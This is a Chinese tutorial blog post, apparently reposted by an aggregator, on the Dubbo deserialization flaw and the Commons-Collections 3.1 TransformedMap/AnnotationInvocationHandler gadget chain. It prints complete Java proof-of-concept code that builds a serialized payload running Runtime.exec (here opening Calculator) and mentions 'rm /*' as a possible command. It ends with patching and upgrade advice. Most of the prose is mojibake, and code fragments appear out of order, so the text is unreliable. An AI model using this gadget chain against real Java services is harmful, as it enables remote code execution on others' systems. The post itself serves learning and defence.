Dubbo 楂樺嵄婕忔礊锛佸師鏉ラ兘鏄弽搴忓垪鍖栨児寰楃ジ
Posted 绋嬪簭閫氫簨
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Dubbo 楂樺嵄婕忔礊锛佸師鏉ラ兘鏄弽搴忓垪鍖栨児寰楃ジ相关的知识,希望对你有一定的参考价值。
鐐瑰嚮钃濊壊鈥?/span>绋嬪簭閫氫簨鈥濆叧娉ㄦ垜鍝?/span>
鍔犱釜鈥?/span>鏄熸爣鈥濓紝鍔╂垜浠庡皬榛戝眿鍑哄叧馃槤
鍓嶈█
杩欏懆鏀跺埌澶栭儴鍚堜綔鍚屼簨鎺ㄩ€佺殑涓€绡囨枃绔狅紝銆?/p>
鎸夌収鏂囩珷鎶湶鐨勬紡娲炲奖鍝嶈寖鍥达紝鍙互璇存槸褰撳墠鎵€鏈夌殑 Dubbo 鐨勭増鏈兘鏈夎繖涓棶棰樸€?/p>
鏃犵嫭鏈夊伓锛岃繖鍛ㄥ湪 Github 鑷繁鐨勪粨搴撲笂鎺ㄩ€佸嚑琛屾敼鍔紝涓嶄竴浼氬氨鏀跺埌 Github 瀹夊叏鎻愮ず锛岃鍛婂綋鍓嶉」鐩瓨鍦ㄥ畨鍏ㄦ紡娲濩VE-2018-10237銆?/p>
鍙互鐪嬪埌杩欎袱涓紡娲為兘鏄埄鐢ㄥ弽搴忓垪鍖栬繘琛屾墽琛屾伓鎰忎唬鐮侊紝鍙兘寰堝鍚屽璺熸垜褰撳垵涓€鏍凤紝鐪嬪埌杩欎釜涓€鑴告嚨閫笺€傚ソ绔鐨勫弽搴忓垪鍖栵紝鎬庝箞灏辫兘琚伓鎰忓埄鐢紝鐢ㄦ潵鎵ц鐨勬伓鎰忎唬鐮?
杩欑瘒鏂囩珷鎴戜滑灏辨潵鑱婅亰鍙嶅簭鍒楀寲婕忔礊锛屼簡瑙d竴涓嬮粦瀹㈡槸濡備綍鍒╃敤杩欎釜婕忔礊杩涜鏀诲嚮銆?/p>
鍙嶅簭鍒楀寲婕忔礊
鍦ㄤ簡瑙e弽搴忓垪鍖栨紡娲炰箣鍓嶏紝棣栧厛鎴戜滑瀛︿範涓€涓嬩袱涓熀纭€鐭ヨ瘑銆?/p>
Java 杩愯澶栭儴鍛戒护
Java 涓湁涓€涓被 Runtime
锛屾垜浠彲浠ヤ娇鐢ㄨ繖涓被鎵ц鎵ц涓€浜涘閮ㄥ懡浠ゃ€?/p>
涓嬮潰渚嬪瓙涓垜浠娇鐢?Runtime
杩愯鎵撳紑绯荤粺鐨勮绠楀櫒杞欢銆?/p>
// 浠呴€傜敤macos
Runtime.getRuntime().exec("open -a Calculator ");
鏈変簡杩欎釜绫伙紝鎭舵剰浠g爜灏卞彲浠ユ墽琛屽閮ㄥ懡浠わ紝姣斿鎵ц涓€鎶?rm /*
銆?/p>
搴忓垪鍖?鍙嶅簭鍒楀寲
濡傛灉缁忓父浣跨敤 Dubbo锛孞ava 搴忓垪鍖栦笌鍙嶅簭鍒楀寲搴旇涓嶄細闄岀敓銆?/p>
涓€涓被閫氳繃瀹炵幇 Serializable
鎺ュ彛锛屾垜浠氨鍙互灏嗗叾搴忓垪鍖栨垚浜岃繘鍒舵暟鎹紝杩涜€屽瓨鍌ㄥ湪鏂囦欢涓紝鎴栬€呬娇鐢ㄧ綉缁滀紶杈撱€?/p>
鍏朵粬绋嬪簭鍙互閫氳繃缃戠粶鎺ユ敹锛屾垨鑰呰鍙栨枃浠剁殑鏂瑰紡锛岃鍙栧簭鍒楀寲鐨勬暟鎹紝鐒跺悗瀵瑰叾杩涜鍙嶅簭鍒楀寲,浠庤€屽弽鍚戝緱鍒扮浉搴旂殑绫荤殑瀹炰緥銆?/p>
涓嬮潰鐨勪緥瀛愭垜浠皢 App
鐨勫璞¤繘琛屽簭鍒楀寲锛岀劧鍚庡皢鏁版嵁淇濆瓨鍒扮殑鏂囦欢涓€傚悗缁啀浠庢枃浠朵腑璇诲彇搴忓垪鍖栨暟鎹紝瀵瑰叾杩涜鍙嶅簭鍒楀寲寰楀埌 App
绫荤殑瀵硅薄瀹炰緥銆?/p>
public class App implements Serializable {
private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is "+name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
App app = new App();
app.name = "绋嬪簭閫氫簨";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()鏂规硶灏哢nsafe瀵硅薄鍐欏叆object鏂囦欢
os.writeObject(app);
os.close();
//浠庢枃浠朵腑鍙嶅簭鍒楀寲obj瀵硅薄
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
//鎭㈠瀵硅薄
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is "+objectFromDisk.name);
ois.close();
}
鎵ц缁撴灉锛?/p>
readObject name is 绋嬪簭閫氫簨
main name is 绋嬪簭閫氫簨
骞朵笖鎴愬姛鎵撳紑浜嗚绠楀櫒绋嬪簭銆?/p>
褰撴垜浠皟鐢?ObjectInputStream#readObject
璇诲彇鍙嶅簭鍒楀寲鐨勬暟鎹紝濡傛灉瀵硅薄鍐呭疄鐜颁簡 readObject
鏂规硶锛岃繖涓柟娉曞皢浼氳璋冪敤銆?/p>
婧愮爜濡備笅锛?/p>
鍙嶅簭鍒楀寲婕忔礊鎵ц鏉′欢
涓婇潰鐨勪緥瀛愪腑锛屾垜浠湪 readObject
鏂规硶鍐呬富鍔ㄤ娇鐢?code class="mq-105">Runtime鎵ц澶栭儴鍛戒护銆備絾鏄甯哥殑鎯呭喌涓嬶紝鎴戜滑鑲畾涓嶄細鍦?readObject
鍐欎笂杩颁唬鐮侊紝闄ら潪鏄唴楝硷浚鈻★浚锝滐綔
濡傛灉鍙互鎵惧埌涓€涓璞★紝浠栫殑readObject
鏂规硶鍙互鎵ц浠绘剰浠g爜锛岄偅涔堝湪鍙嶅簭鍒楄繃绋嬩篃浼氭墽琛屽搴旂殑浠g爜銆傛垜浠彧瑕佸皢婊¤冻涓婅堪鏉′欢鐨勫璞″簭鍒楀寲涔嬪悗鍙戦€佺粰鍏堢浉搴?Java 绋嬪簭锛孞ava 绋嬪簭璇诲彇涔嬪悗锛岃繘琛屽弽搴忓垪鍖栵紝灏变細鎵ц鎸囧畾鐨勪唬鐮併€?/p>
涓轰簡浣垮弽搴忓垪鍖栨紡娲炴垚鍔熸墽琛岄渶瑕佹弧瓒充互涓嬫潯浠讹細
-
Java 鍙嶅簭鍒楀寲搴旂敤涓渶瑕? 瀛樺湪搴忓垪鍖栦娇鐢ㄧ殑绫?/strong>锛屼笉鐒跺弽搴忓垪鍖栨椂灏嗕細鎶涘嚭 ClassNotFoundException
寮傚父銆? -
Java 鍙嶅簭鍒楀寲瀵硅薄鐨? readObject
鏂规硶鍙互鎵ц浠讳綍浠g爜锛屾病鏈変换浣曢獙璇佹垨鑰呴檺鍒躲€?
寮曠敤涓€娈电綉涓婄殑鍙嶅簭鍒楀寲鏀诲嚮娴佺▼,鏉ユ簮锛?span class="mq-119">https://xz.aliyun.com/t/7031
瀹㈡埛绔瀯閫爌ayload(鏈夋晥杞借嵎)锛屽苟杩涜涓€灞傚眰鐨勫皝瑁咃紝瀹屾垚鏈€鍚庣殑exp锛坋xploit-鍒╃敤浠g爜锛? exp鍙戦€佸埌鏈嶅姟绔紝杩涘叆涓€涓湇鍔$鑷富澶嶅啓锛堜篃鍙兘鏄篃鏈夌粍浠跺鍐欙級鐨剅eadobject鍑芥暟锛屽畠浼氬弽搴忓垪鍖栨仮澶嶆垜浠瀯閫犵殑exp鍘诲舰鎴愪竴涓伓鎰忕殑鏁版嵁鏍煎紡exp_1锛堝墺鍘荤涓€灞傦級 杩欎釜鎭舵剰鏁版嵁exp_1鍦ㄦ帴涓嬫潵鐨勫鐞嗘祦绋?鍙兘鏄湪鑷富澶嶅啓鐨剅eadobject涓€佷篃鍙兘鏄湪澶栭潰鐨勯€昏緫涓?锛屼細鎵ц涓€涓猠xp_1杩欎釜鎭舵剰鏁版嵁绫荤殑涓€涓柟娉曪紝鍦ㄦ柟娉曚腑浼氭牴鎹甧xp_1鐨勫唴瀹硅繘琛屽嚱澶勭悊锛屼粠鑰屼竴灞傚眰鍦板墺鍘伙紙鎴栬€呰鍙樺舰銆佽В鏋愶級鎴戜滑exp_1鍙樻垚exp_2銆乪xp_3...... 鏈€鍚庡湪涓€涓彲鎵ц浠绘剰鍛戒护鐨勫嚱鏁颁腑鎵ц鏈€鍚庣殑payload锛屽畬鎴愯繙绋嬩唬鐮佹墽琛屻€?
Common-Collections
涓嬮潰鎴戜滑浠?Common-Collections
鐨勫瓨鍦ㄥ弽搴忓垪鍖栨紡娲炰负渚嬶紝鏉ュ鐜板弽搴忓垪鍖栨敾鍑绘祦绋嬨€?/p>
棣栧厛鎴戜滑鍦ㄥ簲鐢ㄥ唴寮曞叆 PS:涓嬮潰鐨勪唬鐮佸彧鏈夊湪 JDK7 鐜涓嬫墽琛屾墠鑳藉鐜拌繖涓棶棰樸€?/p>
棣栧厛鎴戜滑闇€瑕佹槑纭紝鎴戜滑鍋氫竴绯诲垪鐩殑灏辨槸涓轰簡璁╁簲鐢ㄧ▼搴忔垚鍔熸墽琛? 褰撶劧鎴戜滑娌″姙娉曡绋嬪簭鐩存帴杩愯涓婅堪璇彞锛屾垜浠渶瑕佸€熷姪鍏朵粬绫伙紝闂存帴鎵ц銆?/p>
鍏朵腑 閫氳繃 涓嶈繃涓婅堪鐨勪唬鐮佸瓨鍦ㄤ竴浜涢棶棰橈紝 濡傛灉瀵瑰叾杩涜搴忓垪鍖栫▼搴忓皢浼氭姏鍑哄紓甯革細 鎴戜滑闇€瑕佹敼閫犱互涓婁唬鐮侊紝浣跨敤 鍒氭帴瑙﹁繖鍧楃殑鍚屽鐨勫簲璇ュ凡缁忕湅鏅曚簡鍚э紝娌″叧绯伙紝鎴戝皢涓婇潰鐨勪唬鐮佺炕璇戜竴涓嬫甯哥殑鍙嶅皠浠g爜涓€涓嬶細 鎺ヤ笅鏉ユ垜浠渶瑕佹壘鍒扮浉鍏崇被锛屽彲浠ヨ嚜鍔ㄨ皟鐢?code class="mq-240">Transformer鍐呴儴鏂规硶銆?/p>
涓嬮潰灏嗕細涓昏浠嬬粛 杈撳嚭缁撴灉涓猴細 涓婃枃涓垜浠煡閬撲簡锛屽彧瑕佽皟鐢? 鐜板湪鎴戜滑灏遍渶瑕佹壘鍒颁竴涓彲搴忓垪鍖栫殑绫伙紝杩欎釜绫?span>姝eソ瀹炵幇浜? Java 涓湁涓€涓被 涓嶈繃涓嶈楂樺叴鐨勫お鏃╋紝杩欎釜绫绘病鏈?public 淇グ绗︼紝榛樿鍙湁鍚屼竴涓寘鎵嶅彲浠ヤ娇鐢ㄣ€?/p>
涓嶈繃杩欑偣闅惧害锛岃窡涓婇潰涓€姣旓紝杩樼湡鏄交鏉撅紝鎴戜滑鍙互閫氳繃鍙嶅皠鑾峰彇浠庤€岃幏鍙栬繖涓被鐨勫疄渚嬨€?/p>
绀轰緥浠g爜濡備笅锛?/p>
瀹屾暣鐨勫簭鍒楀寲婕忔礊绀轰緥浠g爜濡備笅 锛?/p>
涓婇潰浠g爜涓渶瑕佹敞鎰忥紝 鑷充簬绗簩涓棶棰橈紝鍒棶锛岄棶灏辨槸鐜勫~濂藉惂锛屾垜涔熸病鐮旂┒娓呮--锛屾湁浜嗚В鐨勫皬浼欎即鐨?span>鐣欒█涓€涓?/strong>銆?/p>
鏈€鍚庢€荤粨涓€涓嬭繖涓弽搴忓垪鍖栨紡娲炰唬鐮佹墽琛岄摼璺涓嬶細 鍦?JDK 8 涓紝 鍙﹀ 姣斿鍦? Dubbo 鍙嶅簭鍒楀寲婕忔礊鍘熺悊涓庝笂闈㈢殑绫讳技锛屼絾鏄墽琛岀殑浠g爜鏀诲嚮閾句笌涓婇潰瀹屽叏涓嶄竴鏍凤紝杩欓噷灏变笉鍐嶅鐜扮殑璇︾粏鐨勫疄鐜扮殑鏂瑰紡锛屾劅鍏磋叮鐨勫彲浠ョ湅涓嬮潰涓ょ瘒鏂囩珷锛?/p>
https://blog.csdn.net/caiqiiqi/article/details/106934770 https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html Dubbo 鍦?2020-06-22 鏃ュ彂甯?2.7.7 鐗堟湰锛屽崌绾у唴瀹瑰悕鍏朵腑鍖呮嫭浜嗚繖涓弽搴忓垪鍖栨紡娲炵殑淇銆備笉杩囦粠鍏朵粬浜哄彂甯冪殑鏂囩珷鏉ョ湅锛?.7.7 鐗堟湰鐨勪慨澶嶆柟寮忥紝鍙槸鍒濇鏀瑰杽浜嗛棶棰橈紝涓嶈繃骞舵病鏈夋牴鏈笂瑙e喅鐨勮繖涓棶棰樸€?/p>
鎰熷叴瓒g殑鍚屽鍙互鐪嬩笅杩欑瘒鏂囩珷锛?/p>
https://www.freebuf.com/mob/vuls/241975.html 鏈€鍚庝綔涓轰竴鍚嶆櫘閫氱殑寮€鍙戣€呮潵璇达紝鎴戜滑鑷繁鏉ヤ慨澶嶈繖绉嶆紡娲烇紝瀹炲湪涓嶅お鐜板疄銆?/p>
鏈笟鏈変笓鏀伙紝杩欑涓撲笟鐨勪簨锛屾垜浠氨浜ょ粰涓珮鐨勪汉鏉ラ《銆?/p>
鎴戜滑闇€瑕佸仛鐨勪簨锛屽氨鏄簡瑙g殑杩欎簺婕忔礊鐨勪竴浜涘熀鏈師鐞嗭紝鏍戠珛鐨勪竴瀹氭剰璇嗐€?/p>
鍏舵鎴戜滑闇€瑕佷簡瑙d竴浜涘熀鏈殑闃叉姢鎺柦锛屽仛鍒颁竴浜涘熀鏈殑闃插尽銆?/p>
濡傛灉纰板埌杩欑被闂锛屾垜浠強鏃堕渶瑕佸叧娉ㄥ畼鏂圭殑鏂扮殑淇鐗堟湰锛屽敖鏃╁崌绾э紝姣斿 鏈変簺渚濊禆 jar 鍖咃紝鍗囩骇杩樻槸鏂逛究锛屼絾鏄湁浜涗笢瑗垮崌绾у氨姣旇緝楹荤儲浜嗐€傚氨姣斿杩欐 Dubbo 鏉ヨ锛屽畼鏂圭洰鍓嶅彧鏀惧嚭鐨?Dubbo 2.7 鐗堟湰鐨勪慨澶嶇増鏈紝濡傛灉鎴戜滑闇€瑕佸崌绾э紝闇€瑕佸皢鐗堟湰鐩存帴鍗囩骇鍒?Dubbo 2.7.7銆?/p>
濡傛灉浣犵洰鍓嶅凡缁忓湪浣跨敤 Dubbo 2.7 鐗堟湰锛岄偅涔堝崌绾ц繕鏄瘮杈冪畝鍗曘€備絾鏄鏋滆繕鍦ㄤ娇鐢?Dubbo 2.6 浠ヤ笅鐗堟湰鐨勶紝閭d箞灏遍夯鐑︿簡锛屾病鍔炴硶鐩存帴鍗囩骇銆?/p>
Dubbo 2.6 鍒?Dubbo 2.7 鐗堟湰锛屽叾涓崌绾уお澶氫簡涓滆タ锛屽氨姣斿鍖呭悕鍙樻洿锛屽奖鍝嶇湡鐨勬瘮杈冨ぇ銆?/p>
灏辨嬁鎴戜滑绯荤粺鏉ヨ锛屾垜浠洰鍓嶈繖濂楃郴缁燂紝鐢熶骇杩樺湪浣跨敤 JDK7銆傚鏋滈渶瑕佸崌绾э紝鎴戜滑棣栧厛闇€瑕佸崌绾?JDK銆?/p>
鍏舵锛屾垜浠洰鍓嶅ぇ閮ㄥ垎搴旂敤杩樺湪浣跨敤 Dubbo 2.5.6 鐗堟湰锛岃繖鏄湡鐨勶紝鐗堟湰灏辨槸杩欎箞浣庛€?/p>
杩欓儴鍒嗗簲鐢ㄧ洿鎺ュ崌绾у埌 Dubbo 2.7 ,鏀瑰姩鍏跺疄闈炲父澶с€傚彟澶栨湁浜涘熀纭€鏈嶅姟锛岃嚜浠庣涓€娆¢儴缃蹭箣鍚庯紝灏卞啀涔熸病鏈夐噸鏂伴儴缃茶繃銆傚浜庤繖绫诲簲鐢ㄨ繕闇€瑕佷粩缁嗚瘎浼般€?/p>
鏈€鍚庯紝鎴戜滑鏈変簺搴旂敤锛岃嚜宸卞疄鐜颁簡 Dubbo SPI锛岀敱浜?Dubbo 2.7 鐗堟湰鐨勫寘璺緞鏀瑰姩锛岃繖浜?Dubbo SPI 鐩稿叧鍖呰矾寰勪篃闇€瑕佸仛鍑轰竴浜涙敼鍔ㄣ€?/p>
鎵€浠ョ洿鎺ュ崌绾у埌 Dubbo 2.7 鐗堟湰鐨勶紝瀵逛簬涓€浜涜€佺郴缁熸潵璁诧紝杩樼湡鏄竴浠舵瘮杈冮夯鐑︾殑浜嬨€?/p>
濡傛灉鐪熺殑闇€瑕佸崌绾э紝涓嶅缓璁竴娆℃€у叏閮ㄥ崌绾э紝寤鸿閲囩敤閫愭鍗囩骇鏇挎崲鐨勬柟寮忥紝鎱㈡參灏嗘暣涓郴缁熺殑鍐?Dubbo 鐗堟湰鐨勫崌绾с€?/strong> 鎵€浠ヨ繖绉嶆儏鍐典笅锛岀煭鏃堕棿鍐呴槻寰℃帾鏂斤紝鍙弬鑰冪巹姝﹀疄楠屽缁欏嚭鐨勬柟妗堬細 濡傛灉褰撳墠 Dubbo 閮ㄧ讲浜戜笂锛岄偅鍏跺疄姣旇緝绠€鍗曪紝鍙互浣跨敤浜戝巶鍟嗙殑鎻愪緵鐨勭浉鍏虫祦閲忕洃鎺т骇鍝侊紝鎻愬墠涓€姝ラ樆姝㈡紡娲炵殑鍒╃敤銆?/p>
鏈汉涓嶆槸浠庝簨瀹夊叏寮€鍙戯紝涓婃枃涓浉鍏虫€荤粨閮芥槸鏌ヨ缃戜笂璧勬枡锛岀劧鍚庡姞浠ヨ嚜宸辩殑鐞嗚В銆傚鏋滄湁浠讳綍閿欒锛岄夯鐑﹀悇浣嶅ぇ浣交鍠穨 濡傛灉鍙互鐨勮瘽锛岀暀瑷€鎸囧嚭锛岃阿璋簡~ 濂戒簡锛岃瀹屼簡姝d簨锛屾潵璇磋杩欏懆鐨勮叮浜媬 杩欏懆鎼埌浜嗗皬榛戝眿锛屽摷娆″摷娆¤繘鍏ュ紑鍙憕 鍒氳繘鍒板皬榛戝眿鐨勬椂鍊欙紝鎴戝彂鐜伴噷闈㈢殑妗屽瓙锛屽彲浠ュ崟鐙媶寮€銆備簬鏄垜灏卞崟鐙媶闄や竴涓瀛愶紝鐒跺悗闇稿崰浜嗕竴涓儗闈犵獥锛屾闈㈢洿瀵瑰ぇ闂ㄧ殑澶╃劧鍒掓按鎽搁奔鐨勫ソ浣嶇疆銆?/p>
涔嬪悗鎴戝張鍙潵鍙﹀涓€涓悓浜嬶紝鍧愬湪鎴戠殑杈逛笂銆傚綋鎴戜滑鐨勬妸鐢佃剳锛屾樉绀哄櫒鍟ョ殑閮芥惉杩囨潵鏀惧埌妗屽瓙涓婁箣鍚庛€傚闈㈣繘鏉ョ殑鍚屼簨灏辫杩欎釜浼氳瀹ゆ€庝箞灏卞彉鎴愪簡璺熸埧浜х嚎涓嬮棬搴椾竴鏍蜂簡~ 杩樼湡鍒锛屽湪鎴戠殑浣嶇疆鍓嶉潰鎽嗕笂涓ゆ妸妞呭瓙锛屽氨璺熶笂闈㈢殑鍥句竴鏍蜂簡~ 濂戒簡锛屼笅鍛ㄦ湁鐐逛笉鐭ラ亾浜涗粈涔堬紝澶у鏈夊暐鎯充簡瑙o紝鎰熷叴瓒g殑锛屽彲浠ョ暀瑷€涓€涓媬 濡傛灉娌℃湁鍐欎綔涓婚鐨勮瘽锛屽挶灏卞共鍥炶€佹湰琛岋紝鏉ヨ亰鑱婅繖娈垫椂闂达紝鎴戝湪寮€鍙戠殑鑱氬悎鏀粯妯″紡锛屽敖璇锋湡寰呭搱~Common-Collections
渚濊禆锛岃繖閲岄渶瑕佹敞鎰忥紝鎴戜滑闇€瑕佸紩鍏?3.2.2 鐗堟湰涔嬪墠锛屼箣鍚庣殑鐗堟湰杩欎釜婕忔礊宸茬粡琚慨澶嶃€?/p>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
Runtime.getRuntime().exec("open -a Calculator")
銆?/p>
Common-Collections
瀛樺湪涓€涓?Transformer
锛屽彲浠ュ皢涓€涓璞$被鍨嬭浆涓哄彟涓€涓璞$被鍨嬶紝鐩稿綋浜?Java Stream 涓殑 map
鍑芥暟銆?/p>
Transformer
鏈夊嚑涓疄鐜扮被锛?/p>
ConstantTransformer
InvokerTransformer
ChainedTransformer
ConstantTransformer
鐢ㄤ簬灏嗗璞¤浆涓轰竴涓父閲忓€硷紝渚嬪锛?/p>
Transformer transformer = new ConstantTransformer("绋嬪簭閫氫簨");
Object transform = transformer.transform("妤间笅灏忛粦鍝?);
// 杈撳嚭瀵硅薄涓?nbsp;绋嬪簭閫氫簨
System.out.println(transform);InvokerTransformer
灏嗕細浣跨敤鍙嶅皠鏈哄埗鎵ц鎸囧畾鏂规硶锛屼緥濡傦細Transformer transformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"妤间笅灏忛粦鍝?}
);
StringBuilder input=new StringBuilder("绋嬪簭閫氫簨-");
// 鍙嶅皠鎵ц浜?nbsp;input.append("妤间笅灏忛粦鍝?);
Object transform = transformer.transform(input);
// 绋嬪簭閫氫簨-妤间笅灏忛粦鍝?/span>
System.out.println(transform);ChainedTransformer
闇€瑕佷紶鍏ヤ竴涓?Transformer[]
鏁扮粍瀵硅薄锛屼娇鐢ㄨ矗浠婚摼妯″紡鎵ц鐨勫唴閮?Transformer
锛屼緥濡傦細Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("浠绘剰瀵硅薄鍊?);ChainedTransformer
閾惧紡鎵ц ConstantTransformer
锛?code class="mq-192">InvokerTransformer閫昏緫锛屾渶鍚庢垜浠垚鍔熺殑杩愯鐨?Runtime
璇彞銆?/p>
Runtime
娌℃湁缁ф壙 Serializable
鎺ュ彛锛屾垜浠棤娉曞皢鍏惰繘琛屽簭鍒楀寲銆?/p>
Runtime.class
缁忚繃涓€绯诲垪鐨勫弽灏勬墽琛岋細String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");TransformedMap
Common-Collections
鍐呮湁涓や釜绫诲皢浼氳皟鐢?Transformer
锛?/p>
TransformedMap
LazyMap
TransformedMap
瑙﹀彂鏂瑰紡锛?code class="mq-251">LazyMap瑙﹀彂鏂瑰紡姣旇緝绫讳技锛屾劅鍏磋叮鐨勫悓瀛﹀彲浠ョ爺绌惰繖涓紑婧愬簱@ysoserial CommonsCollections1
銆?/p>
TransformedMap
鍙互鐢ㄦ潵瀵?Map 杩涜鏌愮鍙樻崲锛屽簳灞傚師鐞嗗疄闄呬笂鏄娇鐢ㄤ紶鍏ョ殑 Transformer
杩涜杞崲銆?/p>
Transformer transformer = new ConstantTransformer("绋嬪簭閫氫簨");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 鍙 value 杩涜杞崲
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 鏂规硶灏嗕細瑙﹀彂璋冪敤 Transformer 鍐呴儴鏂规硶
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 涔熶細瑙﹀彂 Transformer 鍐呴儴鏂规硶
temp.setValue("AAA");
}
}
System.out.println(decorate);{b=绋嬪簭閫氫簨, a=绋嬪簭閫氫簨}
AnnotationInvocationHandler
TransformedMap
鐨?put
鏂规硶锛屾垨鑰呰皟鐢?Map.Entry
鐨?setValue
鏂规硶灏卞彲浠ヨЕ鍙戞垜浠缃殑 ChainedTransformer
锛屼粠鑰岃Е鍙?Runtime
鎵ц澶栭儴鍛戒护銆?/p>
readObject
锛屼笖姝eソ鍙互璋冪敤 Map put
鐨勬柟娉曟垨鑰呰皟鐢?Map.Entry
鐨?setValue
銆?/p>
sun.reflect.annotation.AnnotationInvocationHandler
锛屾濂芥弧瓒充笂杩扮殑鏉′欢銆傝繖涓被鏋勯€犲嚱鏁板彲浠ヨ缃竴涓?Map
鍙橀噺锛岃繖涓嬪垰濂藉彲浠ユ妸涓婇潰鐨?TransformedMap
璁剧疆杩涘幓銆?/p>
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 闅忎究浣跨敤涓€涓敞瑙?/span>
Object instance = ctor.newInstance(Target.class, exMap);String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> tempMap = new HashMap<>();
// tempMap 涓嶈兘涓虹┖
tempMap.put("value", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 闅忎究浣跨敤涓€涓敞瑙?/span>
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 瑙﹀彂浠g爜鎵ц
Object newObj = ois.readObject();
ois.close();tempMap
闇€瑕佷竴瀹氫笉鑳戒负绌猴紝涓?key
涓€瀹氳鏄?value銆傞偅鍙兘鏈夌殑鍚屽涓轰粈涔堜竴瀹氳杩欐牱璁剧疆锛?/p>
tempMap
涓嶈兘涓虹┖鐨勫師鍥犳槸鍥犱负 readObject
鏂规硶鍐呴渶瑕侀亶鍘嗗唴閮?Map.Entry
.Common-Collections 婕忔礊淇鏂瑰紡
AnnotationInvocationHandler
绉婚櫎浜?memberValue.setValue
鐨勮皟鐢紝浠庤€屼娇鎴戜滑涓婇潰鏋勯€犵殑 AnnotationInvocationHandler
+TransformedMap
澶辨晥銆?/p>
Common-Collections
3.2.2 鐗堟湰锛屽杩欎簺涓嶅畨鍏ㄧ殑 Java 绫诲簭鍒楀寲鏀寔澧炲姞浜嗗紑鍏筹紝榛樿涓哄叧闂姸鎬併€?/p>
InvokerTransformer
绫讳腑閲嶅啓 readObject
锛屽鐩稿叧鍒ゆ柇銆傚鏋滄病鏈夊紑鍚笉瀹夊叏鐨勭被鐨勫簭鍒楀寲鍒欎細鎶涘嚭UnsupportedOperationException寮傚父Dubbo 鍙嶅簭鍒楀寲婕忔礊
闃叉姢鎺柦
Common-Collections
鐗堟湰鍗囩骇銆?/p>
鏈€鍚庯紙鏉ヤ釜涓€閿洓杩烇紒锛侊紒锛?/span>
甯姪璧勬枡
以上是关于Dubbo 楂樺嵄婕忔礊锛佸師鏉ラ兘鏄弽搴忓垪鍖栨児寰楃ジ的主要内容,如果未能解决你的问题,请参考以下文章
springboot椤圭洰涓娇鐢╯pring-data-Redis瀵筸ap搴忓垪鍖栨椂鎶ラ敊